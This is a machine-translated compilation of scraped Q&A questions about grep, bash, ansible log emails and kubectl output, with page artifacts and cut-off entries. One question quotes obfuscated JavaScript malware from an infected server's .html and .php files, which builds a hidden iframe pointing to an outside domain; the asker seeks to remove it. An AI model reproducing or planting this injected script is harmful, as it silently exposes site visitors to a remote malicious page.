我正在尝试创建一个 bash 脚本,该脚本将使用 egrep 从文件中 grep 行。我已经创建了应该对我想要的信息进行分组的正则表达式,问题是试图获得输出。我一直在使用以下命令对其进行测试,但运行时没有打印任何内容。如何打印 -{80} 和 Disconnected 之间的多行?
egrep -E "^-{80}$\r?\n?([:ascii:]*)Disconnected from Server" testing.txt
Run Code Online (Sandbox Code Playgroud)
文件:testing.txt
Connected to the server: name here
Some header text.
More text to go though...
--------------------------------------------------------------------------------
The information that I want, would be in here;
Including this line as well #$
and this one.
Disconnected from Server...
Run Code Online (Sandbox Code Playgroud) 编写剧本以执行 yum 更新,然后从每个服务器获取电子邮件。我希望电子邮件包含yum.log的更改内容。
IOW,我想要以下结果:
grep [today's date] /var/log/yum.log
Run Code Online (Sandbox Code Playgroud)
从每个服务器通过电子邮件发送。
我尝试使用shell:执行 grep 然后发送邮件:
shell: grep '^`date +"%b %d"`' /var/log/yum.log | mail -s "updates applied to `hostname -s` today" updatereports@mydomain.com
Run Code Online (Sandbox Code Playgroud)
它只是发送一封空白电子邮件。
还尝试使用邮件功能,但我正在努力将多行变量转储到邮件正文中:
- name: test result
ignore_errors: yes
shell: grep "`date '+%b %d'`" /var/log/messages
register: updated
- name: mail result
mail:
to: updatereports@mydomain.com
subject: "updates applied to {{ ansible_hostname }} today"
body: "{{ item }}"
with_items: "{{ updated.results|map(attribute='stdout_lines')|list }}"
when: updated.stdout
Run Code Online (Sandbox Code Playgroud)
它也发送,但打印时间戳,然后为 yum.log 中的每个匹配行生成一行错误:
['Sep 12 16:15:28 host-ng …Run Code Online (Sandbox Code Playgroud) 我正在搜索命令的输出,我希望只返回特定的、严格的结果。
我记得 grep 的一些迭代有一个严格的选项-s/ --strict。
例如,grep -s bytes只会返回提到“字节”一词的条目,而不是每个包含字节的词,如“兆字节”、“千字节”等。
我正在尝试 grep 日志文件以仅显示与某个会话 ID 匹配的行。到目前为止,它工作得很好。但是,当我获得 grep 命令的结果时,我没有按照条目出现的顺序获得条目。
如果目录中的日志文件有以下数据:
SESSNUM=4437 login.jsp
SESSNUM=4437 welcome.jsp
SESSNUM=4437 info.jsp
SESSNUM=4437 logout.jsp
Run Code Online (Sandbox Code Playgroud)
我输入:
grep SESSNUM=4437 *
Run Code Online (Sandbox Code Playgroud)
我得到这个信息:
SESSNUM=4437 logout.jsp
SESSNUM=4437 welcome.jsp
SESSNUM=4437 login.jsp
SESSNUM=4437 info.jsp
Run Code Online (Sandbox Code Playgroud)
有没有办法让 grep 按照它们在日志文件中出现的顺序显示匹配的行?
谢谢!
IVR复仇者联盟
是否可以将 linux 中终端的输出重定向到剪贴板?现在我正在使用 Ubuntu 9.10,我只需右键单击并“复制”所选文本。如果我能这样走会容易很多……
grep sometext myfile || clipboard
Run Code Online (Sandbox Code Playgroud) 我在服务器上的许多 .html 和 .php 文件中都有这个恶意软件代码。我需要使用删除它们
sed -i expression /home/通过用空格替换它来删除代码
VAR usikwseoomg = 'PaBUTyjaZYg3cPaBUTyjaZYg69PaBUTyjaZYg66'; VAR nimbchnzujc = 'PaBUTyjaZYg72'; VAR szwtgmqzekr = 'PaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg20PaBUTyjaZYg6ePaBUTyjaZYg61PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3dPaBUTyjaZYg22'; VAR yvofadunjkv = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; VAR ylydzxyjaci = 'PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg77PaBUTyjaZYg69PaBUTyjaZYg64PaBUTyjaZYg74PaBUTyjaZYg68PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg31PaBUTyjaZYg22PaBUTyjaZYg20PaBUTyjaZYg68PaBUTyjaZYg65PaBUTyjaZYg69PaBUTyjaZYg67PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg3dPaBUTyjaZYg22PaBUTyjaZYg30PaBUTyjaZYg22'; VAR xwojmnoxfbs ='PaBUTyjaZYg20PaBUTyjaZYg73PaBUTyjaZYg72PaBUTyjaZYg63PaBUTyjaZYg3dPaBUTyjaZYg22' ; VAR mgsybgilcfx = 'PaBUTyjaZYg68PaBUTyjaZYg74PaBUTyjaZYg74PaBUTyjaZYg70PaBUTyjaZYg3aPaBUTyjaZYg2fPaBUTyjaZYg2f'; VAR nixyhgyjouf =“koska.sytes.net/phl/logs/index.php';var nesrtqwuirb = '';VAR rqchyojemkn = 'PaBUTyjaZYg6dPaBUTyjaZYg67PaBUTyjaZYg79PaBUTyjaZYg65PaBUTyjaZYg64PaBUTyjaZYg61PaBUTyjaZYg67PaBUTyjaZYg70PaBUTyjaZYg7aPaBUTyjaZYg63PaBUTyjaZYg76'; VAR niupgeebkhf = ''; VAR yyzsvtbnudd = 'PaBUTyjaZYg3cPaBUTyjaZYg2fPaBUTyjaZYg69PaBUTyjaZYg66';VAR tlclvgxfthn = 'PaBUTyjaZYg72PaBUTyjaZYg61'; VAR zxttbudjafh = 'PaBUTyjaZYg6dPaBUTyjaZYg65PaBUTyjaZYg3e'; VAR yydszqnduko =新的Array(); yydszqnduko [0] =新阵列(usikwseoomg + nimbchnzujc + szwtgmqzekr + yvofadunjkv + ylydzxyjaci + xwojmnoxfbs …我正在运行的进程输出了一条非常烦人的消息。我宁愿不删除该行,而只需使用 grep 将其删除
要忽略的所有消息都包含“请求”一词。我可以很容易地只用这些行
$> myproc | grep requests
Run Code Online (Sandbox Code Playgroud)
我将如何使 grep 而不是 IGNORE 行与单词请求?
我想搜索包含“已上传”但不包含“09”的行
有没有办法用grep来做到这一点?
(如果重要的话,CentOS 5.6)。
当我通过 ssh 连接到我的 Linux 服务器并像这样使用 grep 时:
grep '超时超时' 日志文件 | 较少的
自动换行不起作用。
但是,如果我使用相同的命令但先使用 less,如下所示:
更少的日志文件| grep '超时'
线条环绕。我不确定是什么问题,或者这是否正常。但无论我使用什么 ssh 客户端,它都会发生。我已经尝试过 putty 和 Ubuntu 客户端。我怎样才能解决这个问题?
问题来自issue: https://github.com/kubernetes/kubectl/issues/717
Kubectl 在如下表中返回信息:
$ kubectl get replicasets -n kube-system
NAMESPACE NAME DESIRED CURRENT READY AGE
kube-system datadog-657c65b75c 2 2 2 11d
kube-system kube-ops-view-5d8df57fc 1 1 0 33d
Run Code Online (Sandbox Code Playgroud)
要在不使用 json 格式化程序的情况下查找输出中的所有偏差,我可以执行以下命令:
grep -v '0 0 0\|1 1 1\|2 2 2\|3 3 3\|4 4 4\|5 5 5'
Run Code Online (Sandbox Code Playgroud)
什么 grep 命令可以涵盖所有可能的情况?目标是找到任何 DESIRED != CURRENT、CURRENT != READY 或 DESIRED != READY 的 ReplicaSet。